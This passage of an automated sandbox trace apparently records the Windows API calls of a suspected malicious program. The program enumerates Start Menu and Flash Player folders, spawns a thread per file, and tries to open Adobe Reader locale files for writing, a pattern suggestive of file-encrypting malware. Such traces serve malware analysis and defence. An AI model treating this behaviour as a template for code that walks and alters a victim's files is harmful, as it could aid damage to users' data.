_Dest=0x8f81a8, _Source="Java" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java" [0161.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f81a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1280 [0161.159] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0161.159] wcscmp (_String1="Maintenance", _String2=".") returned 1 [0161.159] wcscmp (_String1="Maintenance", _String2="..") returned 1 [0161.159] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x9ac398 [0161.159] wcscpy (in: _Dest=0x9ac398, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0161.159] wcscat (in: _Dest=0x9ac398, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0161.159] wcscat (in: _Dest=0x9ac398, _Source="Maintenance" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" [0161.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9ac398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x127c [0161.160] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824ddfa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x824ddfa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Center.lnk", cAlternateFileName="MEDIAC~1.LNK")) returned 1 [0161.160] wcscmp (_String1="Media Center.lnk", _String2=".") returned 1 [0161.161] wcscmp (_String1="Media Center.lnk", _String2="..") returned 1 [0161.161] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0161.161] wcscmp (_String1="Microsoft Office", _String2=".") returned 1 [0161.161] wcscmp (_String1="Microsoft Office", _String2="..") returned 1 [0161.161] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9aeba8 [0161.161] wcscpy (in: _Dest=0x9aeba8, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0161.161] wcscat (in: _Dest=0x9aeba8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0161.161] wcscat (in: _Dest=0x9aeba8, _Source="Microsoft Office" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" [0161.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9aeba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1230 [0161.162] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bd780, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb09e38e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb09e38e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0161.162] wcscmp (_String1="Mozilla Firefox.lnk", _String2=".") returned 1 [0161.162] wcscmp (_String1="Mozilla Firefox.lnk", _String2="..") returned 1 [0161.162] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePoint", cAlternateFileName="SHAREP~1")) returned 1 [0161.162] wcscmp (_String1="SharePoint", _String2=".") returned 1 [0161.162] wcscmp (_String1="SharePoint", _String2="..") returned 1 [0161.162] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7dd8 [0161.162] wcscpy (in: _Dest=0x8e7dd8, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0161.162] wcscat (in: _Dest=0x8e7dd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0161.162] wcscat (in: _Dest=0x8e7dd8, _Source="SharePoint" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" [0161.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e7dd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x122c [0161.164] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a233bd5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a233bd5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a233bd5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.lnk", cAlternateFileName="")) returned 1 [0161.164] wcscmp (_String1="Sidebar.lnk", _String2=".") returned 1 [0161.164] wcscmp (_String1="Sidebar.lnk", _String2="..") returned 1 [0161.164] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 1 [0161.164] wcscmp (_String1="Startup", _String2=".") returned 1 [0161.164] wcscmp (_String1="Startup", _String2="..") returned 1 [0161.164] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e8498 [0161.164] wcscpy (in: _Dest=0x8e8498, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0161.164] wcscat (in: _Dest=0x8e8498, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0161.164] wcscat (in: _Dest=0x8e8498, _Source="Startup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" [0161.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e8498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1228 [0161.166] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0161.166] wcscmp (_String1="Tablet PC", _String2=".") returned 1 [0161.166] wcscmp (_String1="Tablet PC", _String2="..") returned 1 [0161.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7718 [0161.166] wcscpy (in: _Dest=0x8e7718, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0161.166] wcscat (in: _Dest=0x8e7718, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0161.166] wcscat (in: _Dest=0x8e7718, _Source="Tablet PC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" [0161.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e7718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1224 [0161.167] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b186991, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b186991, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b186991, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x548, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Anytime Upgrade.lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0161.167] wcscmp (_String1="Windows Anytime Upgrade.lnk", _String2=".") returned 1 [0161.167] wcscmp (_String1="Windows Anytime Upgrade.lnk", _String2="..") returned 1 [0161.167] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82491ce0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x82491ce0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x82491ce0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x52e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows DVD Maker.lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0161.167] wcscmp (_String1="Windows DVD Maker.lnk", _String2=".") returned 1 [0161.167] wcscmp (_String1="Windows DVD Maker.lnk", _String2="..") returned 1 [0161.167] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7b6b82, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d7b6b82, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d7dcce2, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0161.167] wcscmp (_String1="Windows Fax and Scan.lnk", _String2=".") returned 1 [0161.167] wcscmp (_String1="Windows Fax and Scan.lnk", _String2="..") returned 1 [0161.167] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945dbdb, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8945dbdb, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0161.167] wcscmp (_String1="Windows Media Player.lnk", _String2=".") returned 1 [0161.167] wcscmp (_String1="Windows Media Player.lnk", _String2="..") returned 1 [0161.167] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="XPSVIE~1.LNK")) returned 1 [0161.168] wcscmp (_String1="XPS Viewer.lnk", _String2=".") returned 1 [0161.168] wcscmp (_String1="XPS Viewer.lnk", _String2="..") returned 1 [0161.168] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="XPSVIE~1.LNK")) returned 0 [0161.168] FindClose (in: hFindFile=0x941d70 | out: hFindFile=0x941d70) returned 1 [0161.168] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x912bc8) returned 1 [0161.168] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99de88) returned 1 [0161.168] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99e088) returned 1 Thread: id = 4012 os_tid = 0x1328 [0156.577] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Accessibility.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\accessibility.rus")) returned 0x20 [0158.282] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Accessibility.RUS", dwFileAttributes=0x20) returned 0 [0158.282] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Accessibility.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\accessibility.rus"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0158.282] GetLastError () returned 0x5 [0158.282] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Accessibility.RUS", dwFileAttributes=0x20) returned 0 [0158.282] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934090) returned 1 Thread: id = 4013 os_tid = 0x132c [0156.578] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Acroform.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\acroform.rus")) returned 0x20 [0158.555] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Acroform.RUS", dwFileAttributes=0x20) returned 0 [0158.556] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Acroform.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\acroform.rus"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0158.556] GetLastError () returned 0x5 [0158.556] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Acroform.RUS", dwFileAttributes=0x20) returned 0 [0158.556] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae7e8) returned 1 Thread: id = 4014 os_tid = 0x1330 [0156.579] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\AdobeCollabSync.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\adobecollabsync.rus")) returned 0x20 [0158.557] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\AdobeCollabSync.RUS", dwFileAttributes=0x20) returned 0 [0158.557] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\AdobeCollabSync.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\adobecollabsync.rus"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0158.557] GetLastError () returned 0x5 [0158.557] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\AdobeCollabSync.RUS", dwFileAttributes=0x20) returned 0 [0158.557] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97adb8) returned 1 Thread: id = 4015 os_tid = 0x133c [0156.579] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Annots.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\annots.rus")) returned 0x20 [0158.558] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Annots.RUS", dwFileAttributes=0x20) returned 0 [0158.558] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Annots.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\annots.rus"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0158.558] GetLastError () returned 0x5 [0158.558] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Annots.RUS", dwFileAttributes=0x20) returned 0 [0158.558] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c75d38) returned 1 Thread: id = 4016 os_tid = 0x1340 [0156.580] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\BRdlang32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\brdlang32.rus")) returned 0x20 [0158.559] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\BRdlang32.RUS", dwFileAttributes=0x20) returned 0 [0158.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\BRdlang32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\brdlang32.rus"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0158.560] GetLastError () returned 0x5 [0158.560] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\BRdlang32.RUS", dwFileAttributes=0x20) returned 0 [0158.560] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad708) returned 1 Thread: id = 4033 os_tid = 0x1384 [0156.801] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xde) returned 0x904560 [0156.801] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0156.801] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0156.801] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*" [0156.801] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905f68 [0156.801] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x905f68 | out: lpFindFileData=0x905f68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9c90 [0156.801] wcscmp (_String1=".", _String2=".") returned 0 [0156.801] FindNextFileW (in: hFindFile=0x8d9c90, lpFindFileData=0x905f68 | out: lpFindFileData=0x905f68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.801] wcscmp (_String1="..", _String2=".") returned 1 [0156.801] wcscmp (_String1="..", _String2="..") returned 0 [0156.801] FindNextFileW (in: hFindFile=0x8d9c90, lpFindFileData=0x905f68 | out: lpFindFileData=0x905f68*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0156.801] wcscmp (_String1="settings.sol", _String2=".") returned 1 [0156.802] wcscmp (_String1="settings.sol", _String2="..") returned 1 [0156.802] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf4) returned 0x8ec0d8 [0156.802] wcscpy (in: _Dest=0x8ec0d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0156.802] wcscat (in: _Dest=0x8ec0d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0156.802] wcscat (in: _Dest=0x8ec0d8, _Source="settings.sol" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" [0157.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8ec0d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1390 [0157.279] FindNextFileW (in: hFindFile=0x8d9c90, lpFindFileData=0x905f68 | out: lpFindFileData=0x905f68*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d9d7640, 